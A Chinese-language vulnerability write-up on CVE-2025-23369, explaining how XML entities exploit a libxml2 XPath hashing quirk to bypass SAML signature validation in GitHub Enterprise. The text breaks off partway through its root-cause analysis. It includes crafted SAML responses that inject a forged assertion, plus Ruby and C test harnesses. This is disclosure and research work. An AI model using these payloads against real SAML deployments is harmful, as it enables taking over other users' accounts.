滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

admin 2025年2月10日16:13:56评论32 views字数 26246阅读87分29秒阅读模式

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

去年,GitHub 针对影响其 SAML 身份验证实施的问题发布了一些 CVE,例如,您可以在 ProjectDiscovery 博客上阅读有关 CVE-2024-4985/CVE-2024-948 的信息。我决定查看一下,也许还存在一些问题。这导致了 CVE-2025-23369 的发现,这是一个 SAML 验证绕过问题,它允许经过 SAML 身份验证的用户绕过其他帐户的身份验证。

SAML 入门

SAML 的工作方式与 oauth2/OpenID 非常相似,用户向 IdP 进行身份验证,IdP 向服务提供商返回访问令牌,然后使用该令牌通过某些受保护的 IdP 端点访问用户身份。另一方面,SAML 不返回访问令牌,而是返回带有用户属性(电子邮件、姓名等)的响应对象。以下是 SAML 响应的示例:

<?xml version="1.0"?>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="pfx577f9dc6-42bf-b9ba-27d8-a5f9fa8fad9b" Version="2.0" IssueInstant="2014-07-17T01:01:48Z" Destination="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685">
  <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <ds:Reference URI="#pfx577f9dc6-42bf-b9ba-27d8-a5f9fa8fad9b"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>xeANAiB+fMHC0Lgov5lDi4UPDqk=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>ra8t31DARCSl2weKKSqmCXkTxALzPqIU/uivuPWrmZqYgpKAPk48sSObm7VkwCeb63DrvCJnhbEiEU1Ly63dL9Kz3x3iMclUa0S5+CrhcSV94XreEx3KcY6D/sA+nnyVd1ULPCBCShMf64MYwgniezWWsy//iAD1lK3wLKy7uLw=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
  <samlp:Status>
    <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </samlp:Status>
  <saml:Assertion xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="pfx0dc1f020-3fa4-fa8c-17c6-b1d9582401d1" Version="2.0" IssueInstant="2014-07-17T01:01:48Z">
    <saml:Issuer>http://idp.example.com/metadata.php</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  <ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
  <ds:Reference URI="#pfx0dc1f020-3fa4-fa8c-17c6-b1d9582401d1"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>/qU1zv7GdHocY1JgnyHyKyQrC4w=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>WuqrYfX9+rKdoLcvPlLPozhc3GQmD/FYjftSdrKyrXBX6AFcTYQnr7u0lqEKt97IFzV0D/BwFDHmgqmHiq0VfAKmeM1ITqb4mSUjLW5+SE7wdp1hsM+W4kqsCAMhZrLIn2noyV/Gy4Ig9miRDFVezHsBVcRDrd8zMmBYUBFCspI=</ds:SignatureValue>
<ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>
    <saml:Subject>
      <saml:NameID SPNameQualifier="http://sp.example.com/demo1/metadata.php" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:transient">test@example.com</saml:NameID>
      <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
        <saml:SubjectConfirmationData NotOnOrAfter="2024-01-18T06:21:48Z" Recipient="http://sp.example.com/demo1/index.php?acs" InResponseTo="ONELOGIN_4fee3b046395c4e751011e97f8900b5273d56685"/>
      </saml:SubjectConfirmation>
    </saml:Subject>
    <saml:Conditions NotBefore="2014-07-17T01:01:18Z" NotOnOrAfter="2024-01-18T06:21:48Z">
      <saml:AudienceRestriction>
        <saml:Audience>http://sp.example.com/demo1/metadata.php</saml:Audience>
      </saml:AudienceRestriction>
    </saml:Conditions>
    <saml:AuthnStatement AuthnInstant="2014-07-17T01:01:48Z" SessionNotOnOrAfter="2024-07-17T09:01:48Z" SessionIndex="_be9967abd904ddcae3c0eb4189adbe3f71e327cf93">
      <saml:AuthnContext>
        <saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef>
      </saml:AuthnContext>
    </saml:AuthnStatement>
    <saml:AttributeStatement>
      <saml:Attribute Name="uid" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">test</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="mail" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">test@example.com</saml:AttributeValue>
      </saml:Attribute>
      <saml:Attribute Name="eduPersonAffiliation" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">
        <saml:AttributeValue xsi:type="xs:string">users</saml:AttributeValue>
        <saml:AttributeValue xsi:type="xs:string">examplerole1</saml:AttributeValue>
      </saml:Attribute>
    </saml:AttributeStatement>
  </saml:Assertion>
</samlp:Response>

Response包含一个Assertion ,该Assertion包含经过身份验证的用户属性,NameID 元素通常用于识别经过身份验证的用户(电子邮件、用户 ID 等)。使用 Signature元素保护响应免遭篡改,该元素在DigestValue元素中包含其引用的元素(Response / Assertion) 的哈希值,然后由 IdP 对SignedInfo元素 进行签名,并将签名存储在 SignatureValue 中,因此对受保护元素的任何篡改都会导致DigestValue不正确,而对DigestValue的任何篡改都会导致SignatureValue不正确。 

GitHub SAML 验证

从 POST 请求构建 SAML 响应后,将调用 #validate 来验证它。

def validate(options)
        if !SAML.mocked[:skip_validate_signature]
          validate_has_signature
          validate_certificate(options[:idp_certificate]) if certificate_expiration_check_enabled?

          validate_assertion_digest_values

          if GitHub.enterprise? && GitHub.saml_encrypted_assertions?
            validate_signatures_ghes(options[:idp_certificate])
          else
            validate_signatures(options[:idp_certificate])
          end

          # Stop validation early when signature validation fails
          return if self.errors.any?
        end
        validate_has_assertion unless SAML.mocked[:skip_validate_has_assertion]
        validate_issuer(options[:issuer])
        validate_destination(options[:sp_url])
        validate_recipient(options[:sp_url])
        validate_conditions
        validate_audience(audience_url(options[:sp_url]))
        validate_name_id_format(options[:name_id_format])
        validate_administrator(options[:require_admin])

        has_multiple_assertions = document.xpath("//saml2:Assertion", namespaces).count > 1
        has_errors = !self.errors.empty?
        has_root_sig = has_root_sig_and_matching_ref?

        GitHub.dogstats.increment(
          "external_identities.saml.assertions",
          tags: [
            "has_multiple_assertions:#{has_multiple_assertions}",
            "has_errors:#{has_errors}",
            "has_root_sig:#{has_root_sig}"
          ]
        )
      end

签名检查通过以下方式完成:#validate_has_signature、#validate_assertion_digest_values、#validate_signatures。

def has_root_sig_and_matching_ref?
        root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
        return false unless root_ref
        root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
        return false unless root_ref_uri.length > 1
        root_rep = document.at("/saml2p:Response", namespaces)
        root_id = String(root_rep["ID"])

        # and finally does the root ref URI match the root ID?
        root_ref_uri == root_id
      end
      
      def self.signatures(doc)
        signatures = doc.xpath("//ds:Signature", Xmldsig::NAMESPACES)
        signatures.reverse.collect do |node|
          Xmldsig::Signature.new(node)
        end || []
      end    
  
      def all_assertion_digests_valid?
        # if there is a root sig, that will be validated by Xmldsig separately
        return true if has_root_sig_and_matching_ref?

        # note that we need to copy the doc here because we're going to modify it
        assertions = document.dup.xpath("//saml2:Assertion", namespaces)

        assertions.all? do |assertion|
          signature_ref = assertion.at("./ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
          return false unless signature_ref
          assertion_id = String(assertion["ID"])
          ref_uri = String(String(signature_ref["URI"])[1..-1]) # chop off leading #
          return false unless ref_uri.length > 1
          return false unless assertion_id == ref_uri

          xml_signature_ref = Xmldsig::Reference.new(signature_ref)

          actual_digest = xml_signature_ref.digest_value
          calculated_digest = calculate_assertion_digest(assertion, xml_signature_ref)

          digest_valid = calculated_digest == actual_digest

          digest_valid
        end
      end

      def validate_has_signature
        # Return early if entire response is signed. This prevents individual
        # assertions from being tampered because any change in the response
        # would invalidate the entire response.
        return if has_root_sig_and_matching_ref?
        return if all_assertions_signed_with_matching_ref?

        self.errors << "SAML Response is not signed or has been modified."
      end

      def validate_assertion_digest_values
        return if all_assertion_digests_valid?

        self.errors << "SAML Response has been modified."
      end
      
      def validate_signatures(raw_cert)
        unless raw_cert
          self.errors << "No Certificate"
          return
        end
        certificate = OpenSSL::X509::Certificate.new(raw_cert)
        unless signatures.all? { |signature| signature.valid?(certificate) }
          self.errors << "Digest mismatch"
        end
      rescue Xmldsig::SchemaError => e
        self.errors << "Invalid signature"
      rescue OpenSSL::X509::CertificateError => e
        self.errors << "Certificate error: '#{e.message}'"
      end

代码正在使用#has_root_sig_and_matching_ref?进行快速检查, 并在#validate_has_signature和#validate_assertion_digests_values中尽早返回,快速检查本身是有意义的,因为如果根元素(Response)具有签名,那么检查子元素(Assertion)的完整性是浪费的。之后调用#validate_signatures,它使用xmldsig 库来验证在 XML 文档中找到的所有签名。

def has_root_sig_and_matching_ref?
        return true if SAML.mocked[:mock_root_sig]
        root_ref = document.at("/saml2p:Response/ds:Signature/ds:SignedInfo/ds:Reference", namespaces)
        return false unless root_ref
        root_ref_uri = String(String(root_ref["URI"])[1..-1]) # chop off leading #
        return false unless root_ref_uri.length > 1
        root_rep = document.at("/saml2p:Response", namespaces)
        root_id = String(root_rep["ID"])

        # and finally does the root ref URI match the root ID?
        root_ref_uri == root_id
      end

#has_root_sig_and_matching_ref?非常简单,它选择Response元素下的Signature元素,并通过将其ID属性与签名引用的URI进行比较来检查它是否实际引用了根元素。

当 调用 signature.valid? 时,内部调用#referenced_node 来查找签名引用的元素。它使用 XPath 查询将 文档上每个元素的ID 属性与签名的参考 URI 进行比较。

def referenced_node
      if reference_uri && reference_uri != ""
        if @id_attr.nil? && reference_uri.start_with?("cid:")
          content_id = reference_uri[4..-1]
          if @referenced_documents.has_key?(content_id)
            @referenced_documents[content_id].dup
          else
            raise(
                ReferencedNodeNotFound,
                "Could not find referenced document with ContentId #{content_id}"
            )
          end
        else
          id = reference_uri[1..-1]
          referenced_node_xpath = @id_attr ? "//*[@#{@id_attr}=$uri]" : "//*[@ID=$uri or @wsu:Id=$uri]"
          variable_bindings = { 'uri' => id }
          if ref = document.dup.at_xpath(referenced_node_xpath, NAMESPACES, variable_bindings)
            ref
          else
            raise(
                ReferencedNodeNotFound,
                "Could not find the referenced node #{id}'"
            )
          end
        end
      else
        document.dup.root
      end
    end

因为这将验证 XPath 查询返回的任何元素的签名,所以如果 #has_root_sig_and_matching_ref? 成功并且 XPath 查询返回一些不是根元素的其他元素,则可以绕过 SAML 验证。

旁路

我从一个最小测试用例开始,并遵循原始代码所具有的约束:

require 'nokogiri'

xml = <<-XML
<?xml version="1.0"?>
<samlp:Response ID="_129">
  <saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
XML

doc = Nokogiri::XML(xml)

abort "root id is not correct" unless doc.root['ID'] == "_129"
book = doc.xpath('//*[@ID=$uri or @wsu:Id=$uri]', {"wsu": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"}, {"uri": "_129"})

puts book[0]

上述代码中的 XPath 查询按预期返回了Response元素。经过一些手动模糊测试后,我开始使用 XML 实体进行测试, 此代码返回了Assertion元素,并且根 ID 是正确的。

require 'nokogiri'

xml = <<-XML
<?xml version="1.0"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "_129"> ]>
<samlp:Response ID="&idViaEntity;">
  <saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>
XML

doc = Nokogiri::XML(xml)

abort "root id is not correct" unless doc.root['ID'] == "_129"
book = doc.xpath('//*[@ID=$uri or @wsu:Id=$uri]', {"wsu": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd"}, {"uri": "_129"})

puts book[0]

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

利用这种不一致,我们可以让 #referenced_node将 我们的任意元素误认为是根元素,我很快将其放入测试中,我提取了SAML库并使用以下代码调用它:

require './saml'
require './saml/message'
require 'base64'
require 'time'
require 'cgi'

r = File.read("samlresponse").strip

r = SAML::Message.from_param(Base64.encode64(r))
valid = r.valid?(:idp_certificate =><<END
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
END

)
puts "Valid? #{valid}"
puts "Errors: #{r.errors}" unless valid
puts "NameID: #{r.name_id}" if valid

以下是简化的 SAML 响应:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "id198723974770096182351422"> ]>
<saml2p:Response
  xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
  xmlns:xs="http://www.w3.org/2001/XMLSchema" Destination="https://github.com/enterprises/abc/saml/consume" ID="&idViaEntity;" InResponseTo="_1024a04a4519b1491552b17bf639ded16fd55f1b16837d99f94046b66e25123b" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">

  <saml2:Issuer
    xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
http://www.okta.com/exkm64rrt7jvmlpcX5d7
  
  </saml2:Issuer>
  <ds:Signature
    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">

    <ds:SignedInfo>
      <ds:Reference URI="#id198723974770096182351422"></ds:Reference>
      <Object
        xmlns="http://www.w3.org/2000/09/xmldsig#">

        <saml2:Assertion
          xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id198723974770096182351422" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">

          <!-- Injected Assertion -->
          <ds:Signature>
            <ds:SignedInfo>
              <ds:Reference URI="#id198723974770096182351422"></ds:Reference>
            </ds:SignedInfo>
          </ds:Signature>
        </saml2:Assertion>
      </Object>
    </ds:SignedInfo>
  </ds:Signature>
  <saml2p:Status
    xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">

    <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </saml2p:Status>
  <saml2:Assertion
    xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
    xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="id198723974770096182351422ffff" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">

    <!-- Original Assertion -->
  </saml2:Assertion>
</saml2p:Response>

由于ID 属性重复,脚本失败,SAML 代码实际上先验证了 文档 模式,然后才验证文档内容。

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

经过更多的手动模糊测试后,我最终得到了一个 SAML 响应,它绕过了 ID 唯一性架构验证检查,同时仍然向 XPath 查询返回任意元素,请注意BypassIDUniqness实体:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "id198723974770096182351422"> <!ENTITY BypassIDUniqness "&#x41;"> ]>
<saml2p:Response
  xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
  xmlns:xs="http://www.w3.org/2001/XMLSchema" Destination="https://github.com/enterprises/abc/saml/consume" ID="&idViaEntity;" InResponseTo="_1024a04a4519b1491552b17bf639ded16fd55f1b16837d99f94046b66e25123b" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">

  <saml2:Issuer
    xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
http://www.okta.com/exkm64rrt7jvmlpcX5d7
  
  </saml2:Issuer>
  <ds:Signature
    xmlns:ds="http://www.w3.org/2000/09/xmldsig#">

    <ds:SignedInfo>
      <ds:Reference URI="#id198723974770096182351422"></ds:Reference>
      <Object
        xmlns="http://www.w3.org/2000/09/xmldsig#">

        <saml2:Assertion
          xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="&BypassIDUniqness;id198723974770096182351422" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">

          <!-- Injected Assertion -->
          <ds:Signature>
            <ds:SignedInfo>
              <ds:Reference URI="#id198723974770096182351422"></ds:Reference>
            </ds:SignedInfo>
          </ds:Signature>
        </saml2:Assertion>
      </Object>
    </ds:SignedInfo>
  </ds:Signature>
  <saml2p:Status
    xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">

    <saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
  </saml2p:Status>
  <saml2:Assertion
    xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"
    xmlns:xs="http://www.w3.org/2001/XMLSchema" ID="id198723974770096182351422ffff" IssueInstant="2024-12-30T21:08:55.894Z" Version="2.0">

    <!-- Original Assertion -->
  </saml2:Assertion>
</saml2p:Response>

现在可以使用实际上并不指向根元素的签名来验证 SAML 响应,而是指向我们在 SignedInfo / Object 内注入的断言(我们在这里注入它是因为 Object的架构定义允许其中存在任意元素)。

根本原因分析

这个绕过方法让我有很多疑惑,尽管我们注入的元素 ID 前面有一个A,但 XPath 如何找到它?既然根元素是树中的第一个元素,为什么它一开始就找不到根元素?

为了回答这些问题,我开始寻找根本原因。Nokogiri 在内部使用 libxml2,因此 对于 RCA,我在 ChatGPT 的帮助下 创建了一个最小的 C 测试用例,它使用 Nokogiri 使用的默认选项直接调用 libxml2并模仿 Ruby 代码,并将其链接到本地构建的 libxml2 进行调试。以下是供参考的 C 代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libxml/parser.h>
#include <libxml/xpath.h>
#include <libxml/xpathInternals.h>

static const xmlChar *NOKOGIRI_PREFIX = (const xmlChar *)"nokogiri";
static const xmlChar *NOKOGIRI_URI = (const xmlChar *)"http://www.nokogiri.org/default_ns/ruby/extensions_functions";
static const xmlChar *NOKOGIRI_BUILTIN_PREFIX = (const xmlChar *)"nokogiri-builtin";
static const xmlChar *NOKOGIRI_BUILTIN_URI = (const xmlChar *)"https://www.nokogiri.org/default_ns/ruby/builtins";

void print_element_info(xmlNode *node) {
    if (!node) return;

    printf("Element: %sn", node->name);

    xmlAttr *attr = node->properties;
    while (attr) {
        xmlChar *value = xmlNodeListGetString(node->doc, attr->children, 1);
        printf(" Attribute: %s = %sn", attr->name, value);
        xmlFree(value);
        attr = attr->next;
    }
    printf("n");
}

void search_xpath(xmlDoc *doc, const char *uri) {
    xmlXPathContext *xpathCtx = xmlXPathNewContext(doc);
    if (!xpathCtx) {
        fprintf(stderr, "Error: Unable to create new XPath contextn");
        return;
    }
    xmlXPathRegisterNs(xpathCtx, NOKOGIRI_PREFIX, NOKOGIRI_URI);
    xmlXPathRegisterNs(xpathCtx, NOKOGIRI_BUILTIN_PREFIX, NOKOGIRI_BUILTIN_URI);
    if (xmlXPathRegisterNs(xpathCtx, (xmlChar *)"wsu", (xmlChar *)"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd") != 0) {
        fprintf(stderr, "Error: Failed to register namespace 'wsu' -> 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd'n");
        return;
    }

    xmlXPathObject *uriObj = xmlXPathNewString((xmlChar *)uri);
    if (xmlXPathRegisterVariable(xpathCtx, (xmlChar *)"uri", uriObj) != 0) {
        fprintf(stderr, "Error: Failed to register the variable 'uri'n");
        return;
    }

    char xpathExpr[512];
    snprintf(xpathExpr, sizeof(xpathExpr), "//*[@ID=$uri or @wsu:Id=$uri]");

    xmlXPathObject *xpathObjResult = xmlXPathEvalExpression((xmlChar *)xpathExpr, xpathCtx);
    if (!xpathObjResult) {
        fprintf(stderr, "Error: Unable to evaluate XPath expressionn");
        return;
    }

    xmlNodeSet *nodes = xpathObjResult->nodesetval;
    if (nodes) {
        for (int i = 0; i < nodes->nodeNr; i++) {
            print_element_info(nodes->nodeTab[i]);
        }
    } else {
        printf("No matching elements found for URI: %sn", uri);
    }

}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        fprintf(stderr, "Usage: %s <xml_filename> <uri_to_search>n", argv[0]);
        return EXIT_FAILURE;
    }

    const char *filename = argv[1];
    const char *uri = argv[2];

    xmlDoc *doc = xmlReadFile(filename, NULL, XML_PARSE_RECOVER|XML_PARSE_NONET|XML_PARSE_BIG_LINES|XML_PARSE_NOERROR);
    if (!doc) {
        fprintf(stderr, "Error: Unable to parse XML file %sn", filename);
        return EXIT_FAILURE;
    }
        xmlNode *root = xmlDocGetRootElement(doc);
    if (!root) {
        fprintf(stderr, "Error: XML document has no root elementn");
        xmlFreeDoc(doc);
        return EXIT_FAILURE;
    }

    xmlChar *idValue = xmlGetProp(root, (const xmlChar *)"ID");
    if (idValue) {
        printf("Root Element: %sn", root->name);
        printf("Root ID Attribute: %snn", idValue);
    } else {
        printf("Root Element: %sn", root->name);
        printf("Root element has no 'ID' attribute.nn");
    }

    search_xpath(doc, uri);

    return EXIT_SUCCESS;
}

将此 XML 文档作为第一个参数,将 _129 作为第二个参数,产生与 Ruby 代码几乎相同的:

<?xml version="1.0"?>
<!DOCTYPE abcd [ <!ENTITY idViaEntity "_129"> ]>
<samlp:Response ID="&idViaEntity;">
  <saml:Assertion ID="_129">http://idp.example.com/metadata.php</saml:Assertion>
</samlp:Response>

根元素 ID 是 _129,但 XPath 选择 Assertion 而不是 Response。

滥用 libxml2 特性绕过 GitHub Enterprise 上的 SAML 身份验证 (CVE-2025-23369)

经过一些调试后,发现 XPath 找不到响应的原因在于 XPath 引擎在查询中执行比较的方式,这里是负责将潜在的 xml 节点与查询中的字符串参数(在本例中为 _129)进行比较的函数。

static int
xmlXPathEqualNodeSetString(xmlXPathParserContextPtr ctxt,
                           xmlXPathObjectPtr arg, const xmlChar * str, int neq)
{
    int i;
    xmlNodeSetPtr ns;
    xmlChar *str2;
    unsigned int hash;

    if ((str == NULL) || (arg == NULL) ||
        ((arg->type != XPATH_NODESET) && (arg->type != XPATH_XSLT_TREE)))
        return (0);
    ns = arg->nodesetval;
    /*
     * A NULL nodeset compared with a string is always false
     * (since there is no node equal, and no node not equal)
     */

    if ((ns == NULL) || (ns->nodeNr <= 0) )
        return (0);
    hash = xmlXPathStringHash(str);
    for (i = 0; i < ns->nodeNr; i++) {
        if (xmlXPathNodeValHash(ns->nodeTab[i]) == hash) {
            str2 = xmlNodeGetContent(ns->nodeTab[i]);
            if (str2 == NULL) {
                xmlXPathPErrMemory(ctxt);
                return(0);
            }
            if (xmlStrEqual(str, str2)) {
                xmlFree(str2);
    if (neq)
        continue;
                return (1);
            } else if (neq) {
    xmlFree(str2);
    return (1);
      }
            xmlFree(str2);
        } else if (neq)
      return (1);
    }
    return (0);
}

此函数 - 作为优化 - 首先检查哈希,如果哈希匹配,则将字符串与节点内容(在本例中为 ID 属性值)进行比较。这里是xmlXPathNodeValHash的代码:

static unsigned int
xmlXPathNodeValHash(xmlNodePtr node) 
{
    int len = 2;
    const xmlChar * string = NULL;
    xmlNodePtr tmp = NULL;
    unsigned int ret = 0;

    if (node == NULL)
  return(0);

    if (node->type == XML_DOCUMENT_NODE) {
  tmp = xmlDocGetRootElement((xmlDocPtr) node);
  if (tmp == NULL)
      node = node->children;
  else
      node = tmp;

  if (node == NULL)
      return(0);
    }

    switch (node->type) {
  case XML_COMMENT_NODE:
  case XML_PI_NODE:
  case XML_CDATA_SECTION_NODE:
  case XML_TEXT_NODE:
      string = node->content;
      if (string == NULL)
    return(0);
      if (string[0] == 0)
    return(0);
      return(string[0] + (string[1] << 8));
  case XML_NAMESPACE_DECL:
      string = ((xmlNsPtr)node)->href;
      if (string == NULL)
    return(0);
      if (string[0] == 0)
    return(0);
      return(string[0] + (string[1] << 8));
  case XML_ATTRIBUTE_NODE:
      tmp = ((xmlAttrPtr) node)->children;
      break;
  case XML_ELEMENT_NODE:
      tmp = node->children;
      break;
  default:
      return(0);
    }
    while (tmp != NULL) {
  switch (tmp->type) {
      case XML_CDATA_SECTION_NODE:
      case XML_TEXT_NODE:
    string = tmp->content;
    break;
      default:
                string = NULL;
    break;
  }
  if ((string != NULL) && (string[0] != 0)) {
      if (len == 1) {
    return(ret + (string[0] << 8));
      }
      if (string[1] == 0) {
    len = 1;
    ret = string[0];
      } else {
    return(string[0] + (string[1] << 8));
      }
  }
  /*
   * Skip to next node
   */

        if ((tmp->children != NULL) &&
            (tmp->type != XML_DTD_NODE) &&
            (tmp->type != XML_ENTITY_REF_NODE) &&
            (tmp->children->type != XML_ENTITY_DECL)) {
            tmp = tmp->children;
            continue;
  }
  if (tmp == node)
      break;

  if (tmp->next != NULL) {
      tmp = tmp->next;
      continue;
  }

  do {
      tmp = tmp->parent;
      if (tmp == NULL)
    break;
      if (tmp == node) {
    tmp = NULL;
    break;
      }
      if (tmp->next != NULL) {
    tmp = tmp->next;
    break;
      }
  } while (tmp != NULL);
    }
    return(ret);
}

